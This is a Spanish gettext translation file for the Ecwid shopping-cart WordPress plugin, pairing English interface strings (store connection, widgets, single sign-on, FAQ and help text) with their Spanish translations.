msgid "Next Page" msgstr "Página siguiente" #: includes/class-ecwid-product-popup.php:148 msgid "Previous Page" msgstr "Página anterior" #: includes/class-ecwid-product-popup.php:147 msgid "First Page" msgstr "Primera página" #: includes/class-ecwid-product-popup.php:107 msgid "Add Product" msgstr "Añadir producto" #: includes/class-ecwid-oauth.php:366 msgid "To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s store. This will only require you to accept permissions request – so that the plugin will be able to list your products in the \"Add product\" dialog." msgstr "A fin de poder elegir un producto para insertarlo en sus publicaciones y páginas, deberá volver a conectar su sitio a su tienda de %s. Esto solo requerirá que acepte la solicitud de permisos para que el complemento pueda listar sus productos en el cuadro de diálogo «Añadir producto»." #: templates/advanced-settings.php:54 msgid "To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>" msgstr "Para asegurarse de que su cliente puede acceder realmente a su sitio web y a la tienda, habilite el registro en las <a %s>configuraciones del sitio web</a>" #: templates/advanced-settings.php:48 msgid "To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>" msgstr "Para permitir que %s inicie la sesión de sus clientes automáticamente en su tienda, otorgue los permisos para utilizar los datos del cliente en la tienda. <a %s>Utilice este enlace para hacerlo</a>" #: templates/advanced-settings.php:39 msgid "Upgrade to get this feature" msgstr "Actualice para obtener esta función" #: templates/advanced-settings.php:32 msgid "Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again." msgstr "El inicio de sesión único les permite a sus clientes tener un inicio de sesión único para su sitio web de WordPress y su %s. Cuando alguien inicie sesión en su sitio web, también iniciará sesión automáticamente en su cuenta de cliente en la tienda sin necesidad de introducir su correo electrónico y contraseña nuevamente." #: templates/advanced-settings.php:27 msgid "Customer Single Sign-On" msgstr "Inicio de sesión único del cliente" #: includes/integrations/class-ecwid-integration-divibuilder.php:63 msgid "Enter optional CSS classes to be used for this module. A CSS class can be used to create custom CSS styling. You can add multiple classes, separated with a space." msgstr "Introduzca las clases CSS opcionales que se utilizarán para este módulo. Se puede utilizar una clase CSS para crear estilos CSS personalizados. Puede añadir varias clases separadas por un espacio." #: includes/integrations/class-ecwid-integration-divibuilder.php:60 msgid "CSS Class" msgstr "Clase CSS" #: includes/integrations/class-ecwid-integration-divibuilder.php:57 msgid "Enter an optional CSS ID to be used for this module. An ID can be used to create custom CSS styling, or to create links to particular sections of your page." msgstr "Introduzca un ID de CSS opcional que se utilizará para este módulo. Se puede utilizar un ID para crear un estilo CSS personalizado o para crear enlaces a secciones particulares de su página web." #: includes/integrations/class-ecwid-integration-divibuilder.php:54 msgid "CSS ID" msgstr "ID de CSS" #: includes/integrations/class-ecwid-integration-divibuilder.php:51 msgid "This will change the label of the module in the builder for easy identification." msgstr "Esto cambiará la etiqueta del módulo en el creador para una fácil identificación." #: includes/integrations/class-ecwid-integration-divibuilder.php:49 msgid "Admin Label" msgstr "Etiqueta de administrador" #: includes/integrations/class-ecwid-integration-divibuilder.php:44 msgid "Here you can create the content that will be used within the module." msgstr "Aquí puede crear el contenido que se utilizará dentro del módulo." #: includes/integrations/class-ecwid-integration-divibuilder.php:41 msgid "Content" msgstr "Contenido" #: templates/admin-footer.php:29 msgid "<a %s>Reconnect</a>" msgstr "<a %s>Volver a conectar</a>" #: templates/help.php:15 msgid "https://support.ecwid.com/hc/en-us/search" msgstr "https://support.ecwid.com/hc/en-us/search" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:73 msgid "Browse by Category" msgstr "Buscar por categoría" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:15 msgid "Store Root Categories" msgstr "Categorías raíz de la tienda" #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:14 msgid "Adds root categories list to the sidebar to let your customers navigate the store." msgstr "Añade la lista de categorías raíz a la barra lateral para que sus clientes puedan desplazarse por la tienda." #: templates/admin/welcome-connection-message.php:25 msgid "To sell using %1$s, you must allow WordPress to access the %1$s plugin. The connect button will direct you to your %1$s account where you can provide permission." msgstr "Para vender utilizando %1$s, debe permitir que WordPress acceda al complemento %1$s. El botón «Conectar» lo redirigirá a su cuenta de %1$s donde puede otorgar el permiso." #: templates/admin-timeout.php:11 msgid "Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">our customer support team</a>." msgstr "Nuestro equipo ya está trabajando en este asunto. Actualice la página en unos minutos. Si el problema persiste, comuníquese con <a target=\"_blank\" href=\"https://help.ecwid.com/customer/portal/emails/new\">nuestro equipo de atención al cliente</a>." #: templates/admin-timeout.php:9 msgid "Sorry we're having technical difficulties." msgstr "Le pido disculpas por las dificultades técnicas que estamos experimentando." #: includes/class-ecwid-floating-minicart.php:153 #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:143 msgid "Top right" msgstr "Arriba a la derecha" #: includes/class-ecwid-floating-minicart.php:152 #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:138 msgid "Bottom right" msgstr "Abajo a la derecha" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:135 #: includes/class-ecwid-customizer.php:110 msgid "Position" msgstr "Posición" #: includes/widgets/class-ecwid-widget-floating-shopping-cart.php:20 msgid "Adds a shopping cart widget to the top right corner of your site." msgstr "Añada un «widget» de carrito de compras en la esquina superior derecha de su sitio web." #: templates/help.php:215 msgid "You can send a new request here." msgstr "Puede enviar una nueva solicitud aquí." #: templates/help.php:214 msgid " Thank you very much for contacting us! We will get back to you shortly." msgstr " ¡Muchas gracias por ponerse en contacto con nosotros! Nos pondremos en contacto con usted en breve." #: templates/help.php:213 msgid "Your email has been sent" msgstr "Se ha enviado su correo electrónico" #: templates/help.php:207 msgid "Send message failed" msgstr "Ocurrió un error al enviar el mensaje" #: templates/help.php:196 msgid "Send Message" msgstr "Enviar mensaje" #: templates/help.php:193 msgid "Type in your message here" msgstr "Escriba su mensaje aquí" #: templates/help.php:192 msgid "Subject" msgstr "Asunto" #: templates/help.php:186 msgid "Send a message to our support team" msgstr "Envíe un mensaje a nuestro equipo de asistencia" #: templates/help.php:177 msgid "Still have questions about Ecwid? Let us know!" msgstr "¿Todavía tiene preguntas acerca de Ecwid? ¡Háganoslo saber!" #: templates/help.php:176 msgid "Contact us" msgstr "Póngase en contacto con nosotros" #: templates/help.php:33 msgid "Frequently Asked Questions" msgstr "Preguntas frecuentes" #: templates/help.php:21 msgid "Search the Knowledge Base" msgstr "Buscar en la base de conocimientos" #: templates/help.php:17 msgid "E.g. How to set up shipping" msgstr "Por ejemplo, cómo establecer el envío" #: templates/help.php:11 msgid "How can we help you?" msgstr "¿Cómo podemos ayudarle?" #: includes/faq_entries.php:68 msgid "You can display your store on the site main page. Adjust the \"Reading\" settings of your site as described in our <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">Help Center.</a>" msgstr "Puede mostrar su tienda en la página principal del sitio web. Ajuste la configuración de «Lectura» de su sitio web como se describe en nuestro <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage\">centro de asistencia.</a>" #: includes/faq_entries.php:67 msgid "Is it possible to display my store on the site home page?" msgstr "¿Es posible mostrar mi tienda en la página de inicio del sitio web?" #: includes/faq_entries.php:61 msgid "To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">How to use it.</a>" msgstr "Para mostrar un solo producto en una página aparte o en una entrada de blog de su sitio web, utilice el código corto <b>[ecwid_product]</b>. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow\">Cómo utilizarlo</a>" #: includes/faq_entries.php:60 msgid "How to add a single product with the add to bag button to the site pages?" msgstr "¿Cómo añadir un solo producto con el botón de «añadir a la bolsa» en las páginas del sitio web?" #: includes/faq_entries.php:55 msgid "To create sitemap for your Wordpress site we suggest using <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> or <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">paid Ecwid users</a>." msgstr "Para crear un «Mapa del sitio» para su sitio web de Wordpress, le sugerimos que utilice los  complementos <a target=\"_blank\" href=\"https://wordpress.org/plugins/google-sitemap-generator/\">Google XML Sitemaps</a> o <a target=\"_blank\" href=\"https://wordpress.org/plugins/wordpress-seo/\">Yoast Wordpress SEO</a>. Estos complementos son totalmente compatibles con Ecwid y permiten generar un mapa del sitio que contiene enlaces a categorías y páginas de productos, por lo que las páginas de la tienda se indexarán más rápido. Tenga en cuenta que esta opción solo está disponible para los <a target=\"_blank\" href=\"https://www.ecwid.com/pricing\">usuarios de pago de Ecwid</a>." #: includes/faq_entries.php:54 msgid "How do I put my products in the sitemap?" msgstr "¿Cómo pongo mis productos en el mapa del sitio?" #: includes/faq_entries.php:48 msgid "You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open \"Appearance > Menus\" in your WordPress control panel and add the \"Store with Categories Menu\" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site." msgstr "Puede añadir el menú de categorías de la tienda al menú de su sitio web para ayudar a sus clientes a navegar fácilmente por su sitio web. Simplemente abra «Apariencia > Menús» en el panel de WordPress y añada el elemento «Tienda con menú de categorías» al menú de su sitio web. Aparecerá automáticamente un menú desplegable que contendrá las categorías de su tienda en su sitio web." #: includes/faq_entries.php:47 msgid "How do I add store categories to the site menu?" msgstr "¿Cómo puedo añadir categorías de tiendas al menú del sitio web?" #: includes/faq_entries.php:38 msgid "How much does Ecwid cost?" msgstr "¿Cuánto cuesta Ecwid?" #: includes/faq_entries.php:30 msgid "You can add product search box, cart widget and more on the <a href=\"%s\">\"Appearance / Widgets page\"</a> here in your site admin. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">More details.</a>" msgstr "Puede añadir un cuadro de búsqueda de productos, un «widget» de carrito y más desde la <a href=\"%s\">«Página de apariencia y widgets»</a> que se encuentra aquí en el administrador de su sitio web. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets\">Más detalles.</a>" #: includes/faq_entries.php:28 msgid "How can I add a cart widget to my site sidebar?" msgstr "¿Cómo puedo añadir un «widget» de carrito de compras a la barra lateral de mi sitio web?" #: includes/faq_entries.php:21 msgid "You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">More details.</a>" msgstr "Puede añadir su tienda en línea a su página empresarial de Facebook (no se necesitan complementos). Ecwid sincronizará automáticamente los productos, clientes, pedidos e inventario entre su tienda en línea de WordPress y Facebook. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop\">Más detalles.</a>" #: includes/faq_entries.php:20 msgid "How to set up a storefront on Facebook with Ecwid?" msgstr "¿Cómo crear una tienda en Facebook con Ecwid?" #: includes/faq_entries.php:13 msgid "Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">More details.</a>" msgstr "Ecwid ofrece aplicaciones móviles gratuitas para iOS y Android para que pueda gestionar su tienda y vender donde y cuando quiera. Escanee productos, supervise el inventario, gestione las ventas y acepte pagos utilizando su dispositivo móvil como una estación de punto de venta. <a target=\"_blank\" href=\"https://www.ecwid.com/ecwid-mobile\">Más detalles.</a>" #: includes/faq_entries.php:12 msgid "How can I manage my store from a mobile device?" msgstr "¿Cómo puedo gestionar mi tienda desde un dispositivo móvil?" #: includes/faq_entries.php:6 msgid "Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">More details.</a>" msgstr "Ecwid cuenta con la certificación PCI DSS Nivel 1, que es el estándar de oro para las soluciones de comercio electrónico en todo el mundo. Esto significa que no tendrá problemas de cumplimiento bancario cuando venda en línea con Ecwid. <a target=\"_blank\" href=\"https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security\">Más detalles.</a>" #: includes/faq_entries.php:5 msgid "How secure is this plugin? Is my store PCI DSS compliant?" msgstr "¿Qué tan seguro es este complemento? ¿Mi tienda cumple con el PCI DSS?" #: includes/class-ecwid-nav-menus.php:32 msgid "Ecwid Menu Item" msgstr "Elemento del menú de Ecwid" #: includes/class-ecwid-admin.php:179 includes/class-ecwid-admin.php:180 msgid "Help" msgstr "Ayuda" #: templates/admin-footer.php:27 msgid "Want to connect another %s store?" msgstr "¿Desea conectar otra tienda de %s?" #: templates/admin-footer.php:17 msgid "Questions?" msgstr "¿Tiene alguna pregunta?" #: templates/admin-footer.php:6 msgid "Manage Store on iPhone, iPad or Android" msgstr "Gestione la tienda desde iPhone, iPad o Android" #: includes/class-ecwid-message-manager.php:254 msgid "Complete Setup" msgstr "Completar configuración" #: includes/class-ecwid-message-manager.php:253 msgid "Complete setup and start selling" msgstr "Complete la configuración y comience a vender" #: includes/class-ecwid-message-manager.php:242 msgid "Greetings! Your %s plugin is now active." msgstr "¡Enhorabuena! Su complemento de %s ya está activo." #: templates/debug.php:12 msgid "Download log file" msgstr "Descargar archivo de registro" #: templates/help.php:67 includes/oembed.php:75 includes/oembed.php:104 msgid "See more" msgstr "Ver más" #: ecwid-shopping-cart.php:1051 msgid "I have a problem with my %s store" msgstr "Tengo un problema con mi tienda de %s" #: includes/class-ecwid-message-manager.php:55 msgid "Sorry, there is a problem. This page is supposed to display your store Control Panel. However, this Wordpress site doesn't seem to be able to connect to the Ecwid server to show your store dashboard here. This is likely caused by your server misconfiguration and can be fixed by your hosting provider. Here is a more techy description of the problem, which you can send to your hosting provider: \"The Wordpress function wp_remote_post() failed to connect a remote server because of some error: \"%s\". Seems like HTTP POST requests are disabled on this server\". <br /><br />Please feel free to contact us at <a %s>wordpress@ecwid.com</a> and we will help you contact your hosting and ask them to fix the issue. <br /><br /> Meanwhile, to manage your store, you can use the Ecwid Web Control Panel at <a %s>my.ecwid.com</a>. Your store front is working fine as well and you can check it here: <a %s>%s</a>." msgstr "Lo siento, hay un problema. Se supone que esta página muestra el panel de control de su tienda; sin embargo, este sitio web de Wordpress no parece poder conectarse al servidor de Ecwid para mostrar el panel de su tienda aquí. Es probable que esto se deba a una mala configuración del servidor; su proveedor de alojamiento web puede solucionarlo. Aquí hay una descripción más técnica del problema, la cual puede enviarle a su proveedor de alojamiento web: «La función de Wordpress wp_remote_post() no pudo conectarse a un servidor remoto debido al error: “%sâ€; parece que las solicitudes HTTP POST están inhabilitadas en este servidor». <br /><br />No dude en ponerse en contacto con nosotros en <a %s>wordpress@ecwid.com</a> y le ayudaremos a comunicarse con su proveedor de alojamiento web para pedirle que solucione el problema. <br /><br /> Mientras tanto, para gestionar su tienda, puede utilizar el panel de control web de Ecwid en <a %s>my.ecwid.com</a>. Su escaparate virtual está funcionando bien; puede echarle un vistazo aquí: <a %s>%s</a>." #: templates/store-popup.php:249 msgid "Open store dashboard" msgstr "Abrir el panel de la tienda" #: templates/store-popup.php:12 templates/store-popup.php:27 msgid "Store elements" msgstr "Elementos de la tienda" #: templates/reconnect-sso.php:10 msgid "Re-connect to Enable Control Panel" msgstr "Vuélvase a conectar para activar el panel de control" #: templates/reconnect-sso.php:8 msgid "Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page." msgstr "Gestione productos, supervise las ventas y ajuste la configuración: <nobr>todo sin</nobr> salir de esta página." #: templates/reconnect-sso.php:7 msgid "Your store Control Panel. Right here in WordPress." msgstr "Panel de control de su tienda. Aquí mismo en WordPress." #: ecwid-shopping-cart.php:2114 msgid "Orders" msgstr "Pedidos" #: includes/class-ecwid-nav-menus.php:168 ecwid-shopping-cart.php:2118 msgid "The store top-level categories are automatically added to this drop-down menu" msgstr "Las categorías de alto nivel de la tienda se añaden automáticamente a este menú desplegable" #: includes/class-ecwid-nav-menus.php:167 ecwid-shopping-cart.php:2117 msgid "Done" msgstr "Hecho" #: includes/class-ecwid-nav-menus.php:166 ecwid-shopping-cart.php:2116 msgid "Refresh categories list" msgstr "Actualizar la lista de categorías" #: includes/class-ecwid-nav-menus.php:165 msgid "Store Page" msgstr "Página de la tienda" #: includes/class-ecwid-nav-menus.php:319 msgid "Add to Menu" msgstr "Añadir al menú" #: includes/class-ecwid-nav-menus.php:316 msgid "Select All" msgstr "Seleccionar todo" #: includes/class-ecwid-nav-menus.php:369 msgid "Store with Categories Menu" msgstr "Tienda con menú de categorías" #: includes/class-ecwid-nav-menus.php:352 #: includes/class-ecwid-nav-menus.php:355 msgid "My Account" msgstr "Mi cuenta" #: includes/class-ecwid-nav-menus.php:335 #: includes/class-ecwid-floating-minicart.php:135 #: includes/class-ecwid-admin-storefront-page.php:279 msgid "Cart" msgstr "Carrito" #: includes/class-ecwid-admin.php:87 includes/class-ecwid-admin.php:88 #: includes/class-ecwid-products.php:228 ecwid-shopping-cart.php:2112 msgid "Products" msgstr "Productos" #: includes/class-ecwid-admin.php:79 includes/class-ecwid-admin.php:80 msgid "Sales" msgstr "Ventas" #: ecwid-shopping-cart.php:1119 msgid "Report a problem with the store" msgstr "Informar un problema con la tienda" #: ecwid-shopping-cart.php:1036 msgid "%s plugin doesn't work well with my \"%s\" theme" msgstr "El complemento %s no funciona bien con mi tema «%s»" #: templates/admin/welcome-connection-message.php:22 #: templates/admin/welcome-connection-message.php:28 msgid "Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL." msgstr "Parece que su sitio web no admite solicitudes POST remotas, las cuales son necesarias para que la API de %s funcione. Comuníquese con su proveedor de alojamiento web para habilitar cURL." #. Description of the plugin msgid "Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up." msgstr "Ecwid es un carrito de compras gratuito con todas las funciones. Se puede integrar fácilmente con cualquier blog de Wordpress y se configura en menos de 5 minutos." #. Plugin URI of the plugin msgid "http://www.ecwid.com?partner=wporg" msgstr "http://www.ecwid.com?partner=wporg" #: templates/store-svg.php:12 msgid "Demo Store" msgstr "Tienda de demostración" #: templates/store-svg.php:9 msgid "Your store will be shown here!" msgstr "¡Su tienda se mostrará aquí!" #: templates/product-popup.php:248 templates/store-popup.php:256 msgid "Update" msgstr "Actualizar" #: templates/store-popup.php:253 msgid "Insert into page" msgstr "Insertar en la página" #: templates/store-popup.php:246 msgid "Demo store" msgstr "Tienda de demostración" #: templates/store-popup.php:80 msgid "Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>" msgstr "Además, puede añadir controles de la tienda a la barra de herramientas de su sitio web mediante <a %s>«widgets» nativos de WordPress</a>." #: templates/store-popup.php:74 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:86 msgid "Show categories" msgstr "Mostrar categorías" #: templates/store-popup.php:66 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:94 msgid "Show minicart" msgstr "Mostrar minicarrito" #: templates/store-popup.php:58 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:78 msgid "Show search" msgstr "Mostrar búsqueda" #: templates/store-popup.php:53 msgid "Product catalog will be shown automatically" msgstr "El catálogo de productos se mostrará automáticamente" #: templates/store-popup.php:52 msgid "Choose widgets to show" msgstr "Elija los «widgets» a mostrar" #: templates/admin/welcome-create.php:7 msgid "Connect your store" msgstr "Conecte su tienda" #: templates/admin/welcome-no_oauth.php:6 #: templates/importer/import-no-token.tpl.php:6 #: includes/class-ecwid-message-manager.php:291 msgid "Connect" msgstr "Conectar" #: templates/admin/legacy-connect.tpl.php:68 msgid "Save and connect your %s store to the site" msgstr "Guarde y conecte su tienda de %s al sitio web" #: templates/admin/legacy-connect.tpl.php:59 msgid "Enter your Store ID here:" msgstr "Introduzca el ID de su tienda aquí:" #: templates/admin/legacy-connect.tpl.php:52 msgid "Store ID is a unique identifier of any %1$s store, it consists of several digits. You can find it on the \"Dashboard\" page of %1$s control panel. Also the Store ID will be sent in the Welcome email after the registration." msgstr "El ID de la tienda es un identificador único de cualquier tienda de %1$s, el cual consta de varios dígitos. Puede encontrarlo en la página «Panel» del panel de control de %1$s. El ID de la tienda se enviará en el correo electrónico de bienvenida después del registro." #: templates/admin/legacy-connect.tpl.php:50 msgid "Find your Store ID" msgstr "Encuentre el ID de su tienda" #: templates/admin/legacy-connect.tpl.php:46 msgid "You will be able to sign up through your existing Google, Facebook or PayPal profiles as well." msgstr "También podrá registrarse a través de sus perfiles existentes de Google, Facebook o PayPal." #: templates/admin/legacy-connect.tpl.php:42 msgid "I already have an account, sign in" msgstr "Ya tengo una cuenta, iniciar sesión" #: templates/admin/legacy-connect.tpl.php:35 msgid "Create a new %s account which you will use to manage your store and inventory. The registration is free." msgstr "Cree una nueva cuenta de %s que utilizará para gestionar su tienda e inventario. El registro es gratuito." #: templates/admin/legacy-connect.tpl.php:24 msgid "The first step towards opening your online business: <br />Let’s get started and add a store to your WordPress website in <strong>3</strong> simple steps." msgstr "El primer paso para abrir su negocio en línea: <br />añadamos una tienda a su sitio web de WordPress en <strong>3</strong> simples pasos." #: templates/admin/legacy-connect.tpl.php:21 msgid "Thank you for choosing %s to build your online store" msgstr "Gracias por elegir %s para construir su tienda en línea" #: templates/admin/simple-dashboard.php:58 msgid "Open control panel" msgstr "Abrir el panel de control" #: templates/admin/simple-dashboard.php:42 msgid "Your %s store is connected<br /> to your WordPress website" msgstr "Su tienda de %s está conectada<br /> a su sitio web de WordPress" #: templates/admin/simple-dashboard.php:39 msgid "Greetings!" msgstr "¡Saludos!" #: templates/admin/simple-dashboard.php:34 msgid "Your %s store is now connected<br /> to your WordPress website" msgstr "Su tienda de %s ahora está conectada<br /> a su sitio web de WordPress" #: templates/admin/simple-dashboard.php:31 msgid "Congratulations!" msgstr "¡Enhorabuena!" #: templates/admin/simple-dashboard.php:18 msgid "Disconnect store" msgstr "Desconectar tienda" #: templates/admin/legacy-connect.tpl.php:65 #: templates/admin/simple-dashboard.php:14 templates/store-popup.php:244 #: templates/store-svg.php:14 #: includes/integrations/class-ecwid-integration-gutenberg.php:104 #: includes/gutenberg/class-ecwid-gutenberg.php:130 msgid "Store ID" msgstr "ID de la tienda" #: templates/admin/welcome-connection-message.php:15 msgid "Connection error - after clicking button you need to login and provide permissions to use our plugin. Please, try again." msgstr "Error de conexión: después de hacer clic en el botón, debe iniciar sesión y otorgar los permisos para poder utilizar nuestro complemento. Inténtelo de nuevo." #: templates/admin/legacy-connect.tpl.php:57 #: templates/admin/welcome-no_oauth.php:3 msgid "Enter your Store ID" msgstr "Introduzca el ID de su tienda" #: templates/store-popup.php:221 msgid "Default view mode on search results" msgstr "Modo de vista predeterminado en los resultados de búsqueda" #: templates/store-popup.php:214 templates/store-popup.php:232 msgid "Table" msgstr "Tabla" #: templates/store-popup.php:211 templates/store-popup.php:229 msgid "List" msgstr "Lista" #: templates/store-popup.php:208 templates/store-popup.php:226 msgid "Grid" msgstr "Cuadrícula" #: templates/store-popup.php:204 msgid "Default view mode on product pages" msgstr "Modo de vista predeterminado en las páginas de productos" #: templates/store-popup.php:184 msgid "Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products." msgstr "Aquí puede gestionar cuántos productos se mostrarán por página. Estas opciones definen valores máximos. Si no hay suficiente espacio para mostrar todas las columnas de productos, %s adaptará el número de columnas para mantener todos los productos." #: templates/store-popup.php:169 msgid "Table view" msgstr "Vista de tabla" #: templates/store-popup.php:152 msgid "List view" msgstr "Vista de lista" #: templates/store-popup.php:125 msgid "Grid view" msgstr "Vista de cuadrícula" #: templates/store-popup.php:123 msgid "Number of products per page" msgstr "Número de productos por página" #: templates/store-popup.php:191 msgid "Number of categories per row" msgstr "Número de categorías por fila" #: templates/advanced-settings.php:98 msgid "Save changes" msgstr "Guardar cambios" #: includes/class-ecwid-product-browser.php:202 msgid "Default category ID" msgstr "ID de categoría predeterminada" #: templates/store-popup.php:98 #: includes/integrations/elementor/class-ec-elementor-widget-store.php:127 #: includes/integrations/class-ecwid-integration-gutenberg.php:427 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:56 #: includes/gutenberg/class-ecwid-gutenberg-block-store.php:248 msgid "Store root category" msgstr "Categoría raíz de la tienda" #: templates/store-popup.php:90 #: includes/integrations/class-ecwid-integration-wpbakery-composer.php:101 msgid "Category shown by default" msgstr "Categoría mostrada por defecto" #: templates/admin-message.php:47 msgid "Never show this message again" msgstr "Nunca mostrar este mensaje otra vez" #: templates/product-popup.php:194 lib/ecwid_platform.php:209 #: js/gutenberg/blocks.build.js:1 msgid "Price" msgstr "Precio" #: includes/class-ecwid-store-editor.php:75 #: includes/integrations/class-ecwid-integration-gutenberg.php:102 #: includes/gutenberg/class-ecwid-gutenberg.php:128 msgid "Edit Appearance" msgstr "Editar apariencia" #: includes/class-ecwid-store-editor.php:60 msgid "Edit Store" msgstr "Editar tienda" #: templates/store-popup.php:11 templates/store-popup.php:21 #: includes/class-ecwid-store-editor.php:52 msgid "Add Store" msgstr "Añadir tienda" #: includes/class-ecwid-message-manager.php:261 msgid "Back to Store Settings" msgstr "Regresar a la configuración de la tienda" #: includes/class-ecwid-message-manager.php:252 msgid "Your store is almost ready!" msgstr "¡Su tienda ya está casi lista!" #: includes/class-ecwid-message-manager.php:243 msgid "Take a few simple steps to complete store setup" msgstr "Siga unos sencillos pasos para completar la configuración de la tienda" #: includes/widgets/class-ecwid-widget-products-base.php:205 msgid "Number of products to show" msgstr "Número de productos para mostrar" #: includes/widgets/class-ecwid-widget-recently-viewed.php:89 msgid "Store Link Title" msgstr "Título del enlace de la tienda" #: templates/product-popup.php:183 includes/class-ecwid-product-browser.php:249 #: includes/widgets/class-ecwid-widget-products-base.php:199 #: js/gutenberg/blocks.build.js:1 msgid "Title" msgstr "Título" #: includes/widgets/class-ecwid-widget-recently-viewed.php:69 #: includes/widgets/class-ecwid-widget-recently-viewed.php:91 msgid "You have not viewed any product yet. Open store." msgstr "Aún no ha visto ningún producto. Abra la tienda." #: includes/widgets/class-ecwid-widget-recently-viewed.php:11 msgid "Recently Viewed Products" msgstr "Productos vistos recientemente" #: includes/widgets/class-ecwid-widget-recently-viewed.php:12 msgid "Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop." msgstr "Muestra una lista de productos vistos recientemente por el cliente para volver fácilmente a los productos que vieron en su tienda." #: includes/widgets/class-ecwid-widget-store-link.php:35 msgid "Text" msgstr "Texto" #: includes/themes/class-ecwid-theme-twentyseventeen.php:48 #: includes/themes/class-ecwid-theme-twentyseventeen.php:54 #: includes/themes/class-ecwid-theme-twentyfifteen.php:34 #: includes/themes/class-ecwid-theme-twentyfifteen.php:40 #: includes/themes/class-ecwid-theme-twentysixteen.php:36 #: includes/themes/class-ecwid-theme-twentysixteen.php:42 #: includes/widgets/class-ecwid-widget-store-link.php:31 msgid "Shop" msgstr "Tienda" #: includes/widgets/class-ecwid-widget-store-link.php:10 msgid "Store Page Link" msgstr "Enlace a la página de la tienda" #: includes/widgets/class-ecwid-widget-store-link.php:9 msgid "Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site." msgstr "Muestra un enlace a la página de la tienda en la barra lateral para que el cliente acceda rápidamente a su tienda desde cualquier página del sitio web." #: includes/widgets/class-ecwid-widget-vcategories.php:9 msgid "Store Categories" msgstr "Categorías de la tienda" #: includes/widgets/class-ecwid-widget-vcategories.php:8 msgid "Adds vertical categories block to let the customer navigate your store." msgstr "Añade un bloque de categorías verticales para permitir que el cliente navegue por su tienda." #: includes/class-ecwid-nav-menus.php:344 #: includes/class-ecwid-nav-menus.php:347 #: includes/widgets/class-ecwid-widget-search.php:13 msgid "Product Search" msgstr "Búsqueda de productos" #: includes/widgets/class-ecwid-widget-search.php:12 msgid "Displays a simple search box for your customers to find a product in your store" msgstr "Muestra un cuadro de búsqueda simple para que sus clientes encuentren un producto en su tienda." #: includes/widgets/class-ecwid-widget-minicart-miniview.php:8 msgid "Adds a compact cart widget for customer to see the products they added to the cart." msgstr "Añade un «widget» de carrito compacto para que el cliente vea los productos que se han añadido al carrito." #: includes/widgets/class-ecwid-widget-minicart.php:41 #: includes/widgets/class-ecwid-widget-random-product.php:67 #: includes/widgets/class-ecwid-widget-search.php:46 #: includes/widgets/nsf-minicart-editor.tpl.php:50 #: includes/widgets/class-ecwid-widget-minicart-miniview.php:41 #: includes/widgets/class-ecwid-widget-vcategories.php:39 #: includes/widgets/class-ecwid-widget-vertical-categories-list.php:76 msgid "Title:" msgstr "Título:" #: includes/class-ecwid-nav-menus.php:338 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:20 msgid "Shopping Cart" msgstr "Carrito de compras" #: includes/widgets/class-ecwid-widget-minicart.php:8 #: includes/widgets/class-ecwid-widget-nsf-minicart.php:19 msgid "Adds a cart widget for customer to see the products they added to the cart." msgstr "Añade un «widget» de carrito para que el cliente vea los productos que se han añadido al carrito." #: 